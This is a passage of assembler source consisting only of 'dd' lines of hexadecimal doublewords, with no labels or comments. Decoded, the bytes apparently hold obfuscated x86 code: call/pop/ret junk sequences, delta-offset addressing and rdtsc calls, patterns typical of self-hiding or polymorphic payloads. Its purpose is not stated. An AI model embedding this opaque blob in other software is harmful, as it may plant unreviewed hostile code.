15D98D8Bh, 83610622h dd 6A04C2h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h dd 52420000h, 4FBEE6C3h, 5CB78012h, 0C820FCCh, 0F000000h dd 685h, 559D3300h, 89062213h, 6A2050h, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 184398C3h dd 0DEBC858Dh, 0EE90625h, 61000000h, 0DC71413Eh, 9CC2CF50h dd 681EDB70h, 0B8868928h, 6A000000h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 18042444h, 47000000h, 0ACF8C357h dd 6AEA5DDCh, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h dd 0C7B75E3Dh, 0CE9h, 0D932F200h, 0C20E5FC0h, 78DB1A25h dd 0EBB5FFC5h, 890625CAh, 2231B18Dh, 8595FF06h, 0F5062202h dd 8E9h, 39AC0300h, 3B2063F4h, 8B6696EDh, 5BF50DFh, 9638B651h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 54C35747h dd 84506CBBh, 0EBB5FF43h, 0E90625CAh, 12h, 9F9E4A08h, 0DDE61475h dd 24BD9B4Dh, 0DC18337h, 95FF24BEh, 6221AF5h, 4FD8D89h dd 0BD890622h, 62228A9h, 1331BD83h, 0F000622h, 6A84h, 0E9609600h dd 12h, 0B0400628h, 9AE31806h, 8BCA91D8h, 8E7B4329h, 810FAAD4h dd 2, 50615F56h, 52506060h, 585A310Fh, 11E861h, 3EBB0000h dd 241329FBh, 0CBC587BDh, 0B6272BDBh, 0E958B449h, 0Dh dd 0C531E0BFh, 687013F5h, 2B2AAB7Ah, 96615834h, 0D860Fh dd 0BA600000h, 4580C37Dh, 312DB529h, 0FF610622h, 25CAEBB5h dd 95895706h, 6223291h, 4195FF5Bh, 6A06221Dh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 2B24C356h, 0B0E0F81Eh, 103D61E6h, 0D1BBEB81h, 85893E58h dd 6222545h, 0CAEBB5FFh, 0F88A0625h, 2FC595FFh, 6A0622h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h dd 47D2C6C3h, 7900DDCBh, 89D98B66h, 22184D9Dh, 0A9BD8306h dd 2062202h, 5A840Fh, 66FC0000h, 858BFA8Bh, 62200E1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 2FC35545h, 0D585E093h dd 9007B027h, 0D78166E8h, 0C634C9h, 56006A00h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1704h, 0C3564600h, 0C7F0F627h dd 7CFBF66h, 197D85C7h, 622h, 0F7E90000h, 0B3FFFFF3h, 6AC18B5Ch dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 473FC350h, 5820Fh, 11BB0000h, 8D7C7FE1h dd 222CB585h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1904h, 0C3564600h, 0CA151033h, 0F380DBD7h, 4895081h dd 0D9BD2924h, 0E9062202h, 0Ah, 8415C21Eh, 9F9034EAh, 6A9437h dd 85DB529h, 6A0622h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 1Ah, 7BC35747h, 0AB7962D7h, 8DFC0963h, 26819585h dd 91BD0B06h, 83062224h, 48BB05C0h, 5030CD26h, 489F88Bh dd 45958924h, 60062224h, 14E9h, 158E6A00h, 666312D8h, 1101993Ch dd 0BEA64C27h, 27187A0Fh, 6A61FC1Dh, 6870F00h, 89000000h dd 221A49B5h, 15858906h, 6A062235h, 0E59D8B00h, 0FF062202h dd 22355595h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1A04h, 0C3534300h, 9624793h, 0B729B6C7h, 7D95896Ah dd 8D06221Dh, 25A90F8Dh, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 8B731728h, 0F8EF81FBh dd 0FF060B5Fh, 52006AD1h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1C04h, 0C3524200h, 0EC8DECFEh, 1415520Ah dd 6880F46h, 29000000h, 221EAD9Dh, 0F5BD8306h, 1062200h dd 97850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 0E8C818C3h, 0Dh, 1644C267h, 9810007Eh dd 4D98CEEFh, 0E19D8B28h, 5F062230h, 6A026Ah, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 190424h, 57470000h, 65C2CEC3h dd 0F54B8A3h, 0B750FAB7h, 240489C7h, 2A9D9589h, 95FF0622h dd 6220285h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Bh, 0D6C35040h, 0FC2DCBF7h, 89309640h, 2235119Dh, 0E04E906h dd 0E80000h, 5D000000h, 819FED81h, 7E90626h, 0A4000000h dd 84AA753Dh, 6A3551h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1B0424h, 50400000h, 0A54DEFC3h, 0A8750B8Dh, 0D8BF0F20h dd 9345858Dh, 6A0625h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1C0424h, 55450000h, 0F2B375C3h, 0D6AC4A06h, 669025ECh dd 5750D88Bh, 5BDE8B66h, 57006A90h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 0F796F139h, 0F51F70Bh dd 645BDABFh, 35FFh, 89640000h, 25h, 0A9958900h, 0FF062218h dd 2208B185h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0BF66605Bh, 9D33D9F5h, 6221ADDh dd 6AFF6Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h dd 53430000h, 0C1D0A5C3h, 6226165Ch, 0FE8h, 0D5022500h dd 788A6D3Eh, 0BF00AFAh, 0A192C12Eh, 21C59D2Bh, 605F0622h dd 2830Fh, 0C88A0000h, 0A119589h, 0FF610622h, 221311B5h dd 0FF9FB706h, 221C3595h, 13DE906h, 9E90000h, 5C000000h dd 0DFB9962Bh, 55BE4C9Fh, 70E600B0h, 1E8D0Fh, 13E80000h dd 53000000h, 364B4158h, 676DDD46h, 754C6C61h, 8E1694C3h dd 61BB9B09h, 5B6E3337h, 0B70F71E4h, 0F613CDAh, 0FA83h dd 318D0100h, 0F062214h, 0BF66C8B6h, 6BA233Bh, 66000000h dd 0C745E781h, 5E8C18Bh, 84000000h, 9C4530B7h, 9E8h, 0E238900h dd 16B9EFEh, 5B5FB7F3h, 0E904E8C1h, 0Dh, 0F562BB50h, 6383794Ah dd 459362E1h, 0E2F7661Dh, 27E9BD03h, 0C82B0622h, 8BDF8B66h dd 999D31D1h, 0E9062231h, 6, 169B509h, 858B0622h, 6221511h dd 4234BF66h, 6007C083h, 2BBAC981h, 6EBB48AEh, 6114809Eh dd 8B00C083h, 2231D99Dh, 0FD03B06h, 1F83h, 88D0F00h, 0F000000h dd 28Ah, 0E9616000h, 53h, 6810Fh, 85890000h, 6222D09h dd 159D8D8Bh, 0B5010622h, 62220E1h, 299D9D8Bh, 0E1830622h dd 2C840F01h, 8B000000h, 9DA583D8h, 0FE062215h, 9589DF8Bh dd 6221511h, 11E9h, 0C6988100h, 86FC0B0Eh, 496207D2h, 0B6B60AB8h dd 0E90ACAh, 8D000000h, 2604A7B5h, 55006A06h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 95C7FEE9h dd 8980A1F8h, 22082185h, 6AF98A06h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1804h, 0C3554500h, 4B715678h dd 0B59D8B86h, 0F062210h, 681h, 4AC78100h, 0FF5EAA40h dd 22307595h, 859D8B06h, 0B9062213h, 7D0h, 38B0Fh, 8B660000h dd 0CD9D8BFBh, 8306220Eh, 6AFCE1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 11F616C3h, 0B529EACEh dd 6221345h, 9E9FCh, 9E400000h, 54076435h, 0B8F9C063h dd 0 dd 0D22BFA8Bh, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Dh, 20C35747h, 2ACA5673h, 0BC386D14h, 0FBBF0F5Ah, 0D1C233ADh dd 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 19h, 0A3C35343h, 0B822F5CAh, 0FE8B66BDh, 1659BD89h dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h dd 57470000h, 6285DC3h, 1806B040h, 9E9h, 3726E500h, 5B71C665h dd 880DDCB8h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 14042444h, 46000000h, 81D1C356h, 6C88A7C7h dd 7E958h, 0C7130000h, 4C7FB3D0h, 0F1958B1Eh, 29062233h dd 221F19B5h, 318D8B06h, 6A06222Dh, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0C289C357h dd 147C886h, 816627B7h, 665671C7h, 0B928D381h, 8BC28B50h dd 8BC10318h, 0D1C18B18h, 8BC203E8h, 6A5818h, 3E850h, 58200000h dd 448958C3h, 44810424h, 150424h, 50400000h, 1B5A0C3h dd 22302195h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1704h, 0C3504000h, 0AB0DDCFCh, 69BD83F5h, 6222Ch, 0B0840Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h dd 55450000h, 0C5D1F2C3h, 0EC9BD655h, 6860F60h, 89000000h dd 221DD5B5h, 519D8906h, 6106220Bh, 6F19529h, 0B80622h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 18042444h, 40000000h, 3A0AC350h, 0E81912FEh, 10h, 38EBC944h dd 72A2F9Ah, 0CD6D934Ah, 0BC68A25Ch, 19FD9D23h, 8D5F0622h dd 2250B18Dh, 8D096006h, 6221BA9h, 6AE1FF61h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 3EC9C356h, 0BB66DF79h, 0BD83E8B4h, 62230E5h, 43840F00h dd 0F9000004h, 30E5BD83h, 0F010622h, 45084h, 45BD8B00h dd 0F906221Ch, 30E5BD83h, 0F030622h, 40686h, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h, 0C3554500h dd 2BFE659Fh, 40DE0CB8h, 60FB8B18h, 18B59D8Bh, 8C660622h dd 0F59D8BD9h, 80062214h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0C03EFEC3h, 87B6FD8Ah dd 0C90ABF34h, 140840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 180424h, 56460000h, 0C4542AC3h, 816627E2h dd 8B28FEF3h, 2210B985h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 0EC0C2698h, 76FA4C1Bh dd 0F98B4EBFh, 8A58533h, 6A0622h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 140424h, 57470000h, 0F88BB9C3h, 0BB666050h dd 73BE7FA1h, 61000AACh, 56240489h, 8FFA2ABBh, 6A5F45h dd 18B1BD8Bh, 0C680622h, 0E825FF6Fh, 14h, 38D80B4Ah, 804BAB41h dd 556D4BF6h, 0C7AD5AAEh, 0E6689C5Ah, 815B38B7h, 6CF32434h dd 6A25E0h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h dd 57470000h, 0A9CBE3C3h, 0ACF28DCh, 0F780F9B3h, 9195FFF5h dd 6A06221Eh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 38CEC352h, 67E4B3E7h, 0BD89088Eh dd 6223131h, 0CAEB8589h, 6A0625h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 6ED572C3h, 1ED247C3h dd 1FCE9C1h, 858B0000h, 625CAE3h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Ch, 0C0C35242h, 0A101C96Ah, 3319A06Fh dd 1800C7h, 0BD8B0000h, 62207B1h, 0FE9h, 0EE6200h, 23F23E20h dd 47C17DE9h, 0F221DC70h, 0CAE7B58Bh, 6A0625h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h dd 88B654C3h, 0BF0F6DFCh, 0DE9D8h, 0B65E0000h, 80880AA2h dd 7715870Dh, 8B1EEDF3h, 220A6585h, 2D9D8B06h, 89062229h dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1604h dd 0C3564600h, 0E95B0103h, 9, 60A957F6h, 0E382E5A8h, 0E99D0B04h dd 8B062207h, 2210B985h, 8B665706h, 0B5895FDFh, 6222FFDh dd 50044689h, 0B59D8960h, 0B9062224h, 40F0071Eh, 60965F61h dd 6164BE66h, 5061CA8Bh, 5E95250h, 90000000h, 1A15A01Bh dd 0D98B310Fh, 6A96585Ah, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 17042444h, 43000000h, 1F4AC353h, 0DF8BFD30h dd 0CAE3B5FFh, 0BD2B0625h, 622254Dh, 31E59D03h, 4E80622h dd 0FF000000h, 0BB001F03h, 7AC25DD1h, 15870F50h, 0E8000000h dd 0Dh, 0C641AD04h, 0C1BAF195h, 5BA420E6h, 5F61602Dh, 424448Bh dd 0E8515250h, 13h, 14A14473h, 0E76C0272h, 66D1D577h, 0F7C10DC2h dd 5B5CA0CCh, 0B7310F5Bh, 8B585A74h, 0BA666000h, 33B21A88h dd 24448961h, 50605704h, 5A310F52h, 0F525058h, 61585A31h dd 0DE9585Bh, 3C000000h, 82CABEBBh, 2A04CF22h, 0DEB9E70Eh dd 0CAEB858Dh, 5F520625h, 24048950h, 0BF0FD88Bh, 9195FFDFh dd 6A06221Eh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1D042444h, 45000000h, 57D0C355h, 4E5F00D3h, 24027A59h dd 2D859D8Bh, 8B610622h, 222FC9BDh, 0E585C706h, 3062230h dd 8B000000h, 0EBBD83D8h, 625CAh, 45840Fh, 6A0000h, 3E851h dd 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 5398A4C3h, 13E802h, 8E250000h, 623912DEh, 712B7DFBh dd 16D20F06h, 4B467C0Ch, 5B47B71Dh, 21E9h, 0D98D8900h dd 5006222Ch, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 9D8BC08Bh, 622262Dh, 0BE9h, 6B04000h, 0D89AE318h dd 298BCA91h, 83FE8B66h, 2230E5BDh, 850F0306h, 3AFh, 0CAEBBD83h dd 0F000625h, 3A284h, 8A0F5700h, 0 dd 0EBB5FF5Bh, 0F0625CAh, 95FFF8BFh, 6221DCDh, 920DEF81h dd 0DA8A61DFh, 0CADFB58Bh, 6A0625h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 5939FBC3h dd 75E2D203h, 15518501h, 0BD8B0622h, 622210Dh, 106C7h dd 6A0001h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h dd 57470000h, 8B1A61C3h, 35BD8BDAh, 50062205h, 0ABEFBB66h dd 6A243489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 17042444h, 47000000h, 753AC357h, 9D8B7E41h, 6223509h dd 5E1EBBFh, 0EBB5FF41h, 0F0625CAh, 286h, 0FF5F5600h, 22254195h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1A04h dd 0C3534300h, 0F6125D94h, 894C4C35h, 2204D58Dh, 0DFB58B06h dd 6A0625CAh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 17042444h, 42000000h, 0BA61C352h, 858B1351h, 6221B2Dh dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 32C35545h dd 89762048h, 0C486h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 2FBC9BC6h, 0B70F4AFCh dd 0F1958BFFh, 9062233h, 22204D8Dh, 4C28306h, 89F3E780h dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 331F03C3h, 5940A54Eh, 0BD8B43F4h, 622295Dh dd 0DEBC858Dh, 9D310625h, 622001Dh, 0B88689h, 51560000h dd 0E49FB3BBh, 605F5F2Ch, 58FB8B56h, 0EE9h, 0CA7BBF00h dd 327EB85Dh, 6F9C6FADh, 61034DB5h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 180424h, 50400000h, 1CA512C3h dd 14E97A72h, 2C000000h, 0AC22A18Ah, 5287B46Eh, 14C88D90h dd 0A2C39B4Bh, 0FD1E415h, 38Bh, 0F98B6600h, 31919D8Bh dd 0B5FF0622h, 625CAEBh, 0FB18D89h, 95FF0622h, 6220285h dd 0ABC7BF66h, 0DE950h, 0DF230000h, 0E11A6BD9h, 2980847Bh dd 8978727Ah, 85892434h, 6221631h, 0CAEBB5FFh, 0D7800625h dd 0F595FFC5h, 106221Ah, 222C899Dh, 31BD8306h, 62213h dd 5E840Fh, 0BD8B0000h, 622303Dh, 6E86050h, 43000000h dd 0D6BD6D83h, 0CE8B6673h, 3489615Bh, 56006A24h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 14E8118Dh, 22000000h, 0EC7F136Ah, 44034B1Ch, 7060E131h dd 0A288CCDFh, 890F509Ch, 222721B5h, 9D335F06h, 622329Dh dd 0CAEBB5FFh, 95FF0625h, 6221D41h, 0F258BF66h, 0CAEBB5FFh dd 6A0625h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h dd 52420000h, 858123C3h, 95FFFA8Bh, 6222FC5h, 8392F380h dd 2202A9BDh, 840F0206h, 5Bh, 0B6EB8166h, 0E1858BD8h, 6A062200h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h dd 41000000h, 7777C351h, 0DBDA37E5h, 66506A38h, 8B5FFB8Bh dd 0C6D9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0AFC35141h, 191426F0h, 0C7FD63FFh, 22197D85h, 6 dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h dd 0C3564600h, 50C4D285h, 0E9F8F2A7h, 0FFFFF328h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 17h, 0A0C35646h, 13EC897h dd 220779BDh, 6AC18B06h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 1D042444h, 43000000h, 4855C353h, 2418313Dh dd 0AEB67220h, 21B9BD2Bh, 858D0622h, 6222CB5h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0BBC35343h, 89BD3345h dd 0E9062226h, 8, 38FA16E8h, 0EB316E73h, 0A830F90h, 60000000h dd 310F5250h, 0A0B0585Ah, 0CDBB5061h, 9066E3D1h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 56C35545h, 782E103h dd 820F1052h, 6, 1D258D89h, 0C7810622h, 70A075DEh, 9D29006Ah dd 6222D69h, 850F006Ah, 18h, 12E8h, 5BCC6000h, 0AC4F7875h dd 0A270ED65h, 45E97BB4h, 5F3C2D0Bh, 914A858Dh, 0B5890626h dd 622111Dh, 6605C083h, 81F0C381h, 50EDB390h, 0E01A42BBh dd 6A9045h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 170424h dd 56460000h, 0B51D78C3h, 0CF5DBFF3h, 85895834h, 6223125h dd 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 0BD8BC7C3h, 622354Dh, 12E8006Ah, 8A000000h dd 0BCA26848h, 75231EE4h, 0ABC025B0h, 0D2E4C098h, 4BBF662Dh dd 95FF5F07h, 6223555h, 0A90F8D8Dh, 6A0625h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0D1FFA2C3h dd 0F5BD83h, 0F010622h, 4185h, 0CD8D8900h, 6A06220Ah, 4FDF8102h dd 901BD365h, 36C8BB66h, 90FE8B50h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0F5C35343h, 91666E8Eh, 95FF81B3h dd 6220285h, 56E9FA8Bh, 0E800000Fh, 0 dd 54ED815Dh, 0E8062691h, 5, 744458E0h, 0D33FBBFDh, 6A5F524Eh dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 0F18BC356h, 0F84CA50h, 858DFABFh, 6259345h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 5AC35040h dd 0AA65D3AAh, 14E854h, 76EB0000h, 0E48A81CEh, 0C9D4831Ch dd 0FE0D81DBh, 78E60903h, 8A0FD2A6h, 6, 16419D31h, 665B0622h dd 0E4C7F381h, 0EE890h, 6A950000h, 0AD29B4Ch, 7EFEEE58h dd 0DB73738h, 7E8h, 0CB72FF00h, 0C82CC5DEh, 5FDF8B66h dd 0BE9505Bh, 63000000h, 0E53D147Ah, 52FCD705h, 6A90E207h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 19042444h dd 46000000h, 7E33C356h, 4537861Bh, 35FF64F5h, 0 dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 17h, 1EC35646h dd 814EE36Ch, 582DF6DBh, 25896438h, 0 dd 0A89BD8Bh, 85FF0622h, 62208B1h, 0FF6ADD8Ah, 0A820Fh dd 51600000h, 0CD8D8B5Bh, 61062214h, 4B9B5FFh, 6A0622h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 0B58951C3h, 62201ADh, 5850Fh, 40BF0000h, 5759A680h dd 294DBD03h, 0FF5F0622h, 221C3595h, 131E906h, 8B660000h dd 0F00B0FAh, 380h, 0FE8B6600h, 9D8970E6h, 62226A9h, 8B6671E4h dd 0F613CD8h, 10E83h, 20D78000h, 1C8B60Fh, 220B219Dh, 6BA06h dd 10E80000h, 0AE000000h, 646E9C20h, 0C3C38A86h, 397C15CAh dd 0E91A7324h, 7, 99279492h, 5BD1754Ah, 8589C18Bh, 6223339h dd 0F04E8C1h, 68Ah, 599D2300h, 6606221Ch, 0ECB7E2F7h, 8BD08B60h dd 0C82B61CFh, 5810Fh, 80BF0000h, 8B299268h, 0D9B70FD1h dd 6E9h, 0FD8D8900h, 8B06220Ah, 22017185h, 0EDB58906h dd 8306221Ah, 0BB6607C0h, 0C0831C40h, 3858BB00h, 0D03B3D1Ah dd 10830Fh, 0BD8B0000h, 6222831h, 6EE9h, 8F4DBF00h, 8D8B4229h dd 6220561h, 13E9h, 0F5D8B00h, 325DF423h, 85D8EECAh, 3DF8319Dh dd 0EBAFEA61h, 0F01E183h, 4284h, 0EE900h, 78BE0000h, 6089D3CEh dd 5E24DE48h, 1B85661Ah, 561A583h, 8BFE0622h, 222A49BDh dd 71958906h, 0E8062201h, 0Bh, 0E1AB8733h, 42B7365Ah, 8BE4C4A6h dd 2234E9BDh, 0E95F06h, 8D000000h, 260EBDB5h, 0C5BD8B06h dd 6A06221Ch, 4830F00h, 66000000h, 0FF5557BFh, 22307595h dd 0F3D38106h, 0B9494303h, 740h, 0CE860h, 0B1810000h, 6B4E41E5h dd 0AAE19B91h, 0B5015BC8h, 62215A9h, 0FE958h, 0A2D60000h dd 0D1DDE2EAh, 65A380BEh, 7A30867Ah, 9D2961A3h, 62218A9h dd 6AFCE183h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1D042444h, 41000000h, 227BC351h, 0E4376F0Eh, 0DC3315EBh dd 298BC781h, 0BFFC282Ah, 3B4CFB4Bh, 0B8h, 51006A00h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h dd 8923384Ah, 222CBD95h, 6AD22B06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0FFBBC357h dd 69E1F855h, 800FA8E1h, 0 dd 5C99D29h, 0C3800622h, 0C233AD22h, 0D003E8D1h, 7504E983h dd 57006AF4h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h dd 0C3574700h, 0A2B48B87h, 0F6B64A10h, 0CE9h, 7ABF0200h dd 1C384D28h, 99996497h, 6860F84h, 81000000h, 6ECA56E3h dd 880D70h, 81660000h, 8B9C20D7h, 2233F195h, 8E906h, 0A54E0000h dd 43F45940h, 8D8B3F54h, 6222D31h, 9119D8Bh, 8B500622h dd 3188BC2h, 8B188BC1h, 3E8D1C1h, 58188BC2h, 5C78166h dd 53006AEFh, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 268152DEh, 168B0FABh, 0E9000000h, 11h, 0F3CA69E8h dd 0E4345E36h, 602ADE16h, 107AD723h, 69BD8372h, 6222Ch dd 7D840Fh, 91BF0000h, 0E90344FFh, 0Dh, 4140FD04h, 44B5F63h dd 0C7226A6h, 0B818h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 0E3B942C3h, 107DBD8Bh dd 85890622h, 6221A3Dh, 50B18D8Dh, 6A0622h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1B0424h, 52420000h, 1EE3BCC3h dd 4C4AA6E0h, 519D8BFBh, 0FF062232h, 31F381E1h, 836A3209h dd 2230E5BDh, 840F0006h, 46Bh, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 15h, 22C35545h, 0B185892Ch, 83062220h dd 2230E5BDh, 840F0106h, 456h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 82C35646h, 5E9h, 0A8DA9200h dd 0BD8338FFh, 62230E5h, 0ED860F03h, 8B000003h, 22001DBDh dd 6A6006h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h dd 52420000h, 209670C3h, 5ABB66F4h, 219D8918h, 0B3062205h dd 0D98C668Dh, 0FE9h, 7A3E5800h, 0BBCD72A1h, 7F3250C9h dd 9A895DB5h, 6A04E180h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1D042444h, 45000000h, 0C969C355h, 0AF911706h dd 0AF008368h, 0FC90AF5h, 13584h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1804h, 0C3514100h, 6E6C5B85h dd 0DBB70F74h, 6850Fh, 9D8B0000h, 6221279h, 10B9858Bh dd 33FC0622h, 2208A585h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 9D641B84h, 0E7857A5Ah dd 68F0FF6h, 8B000000h, 2214899Dh, 61958906h, 50062212h dd 0E54FBF66h, 0F240489h, 98Bh, 38A0F00h, 0F000000h, 6AF8B7h dd 68FEB70Fh, 8FD81519h, 48178B3h, 46EEE624h, 0B1BD8970h dd 0F06221Eh, 68Ah, 1D8D2900h, 0FF062231h, 221E9195h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 1DA3F827h, 3DC78166h, 0EB8589ACh, 6A0625CAh, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h dd 8FADC357h, 0B2FCB720h, 0B59D23A1h, 0E906222Fh, 1C3h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 49C35747h dd 8A1347EAh, 0FC3FD22Eh, 2721BD8Bh, 858B0622h, 625CAE3h dd 1D318D89h, 0C70622h, 18h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 17h, 0A5C35646h, 8B6D734Dh, 221D59BDh dd 0A8E0F06h, 0F000000h, 48Ch, 0EABB6600h, 0E7B58B82h dd 6A0625CAh, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 1C042444h, 46000000h, 0D630C356h, 0B1E86448h, 0F8D3F28Eh dd 0A65858Bh, 9D8B0622h, 6221CF5h, 6A0689h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 170424h, 56460000h, 4D1D40C3h dd 0B9858B5Bh, 89062210h, 221BA59Dh, 4468906h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 6EC35040h, 81DFDB8Fh dd 0AA412929h, 0BB6650A8h, 3489DD4Fh, 0FF04B724h, 25CAE3B5h dd 0DF8B6606h, 4E8h, 1F03FF00h, 89BB6600h, 0BF6650ADh dd 448B8884h, 880F0424h, 13h, 0CE960h, 6740000h, 0CD17E2D4h dd 7C3AC00Eh, 8B6144F4h, 89CFB700h, 58042444h, 27218D89h dd 858D0622h, 625CAEBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 15h, 95C35545h, 16830FBCh, 0E9000000h, 11h dd 554303D8h, 14984F24h, 31F11A9Bh, 0C31C2404h, 58F0F2Dh dd 66000000h, 0A053D381h, 0BF525050h, 744FD850h, 2ABF310Fh dd 5A3CFF1Ah, 24048958h, 0F3AC20BBh, 9195FF5Dh, 8906221Eh dd 22078995h, 0F1852906h, 61062215h, 12E9h, 3929B100h dd 5DF3674Fh, 470679A7h, 744FB07Fh, 0C7A8019Eh, 2230E585h dd 306h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1804h, 0C3504000h, 2A55C17Bh, 81BD2315h, 8306220Ah dd 25CAEBBDh, 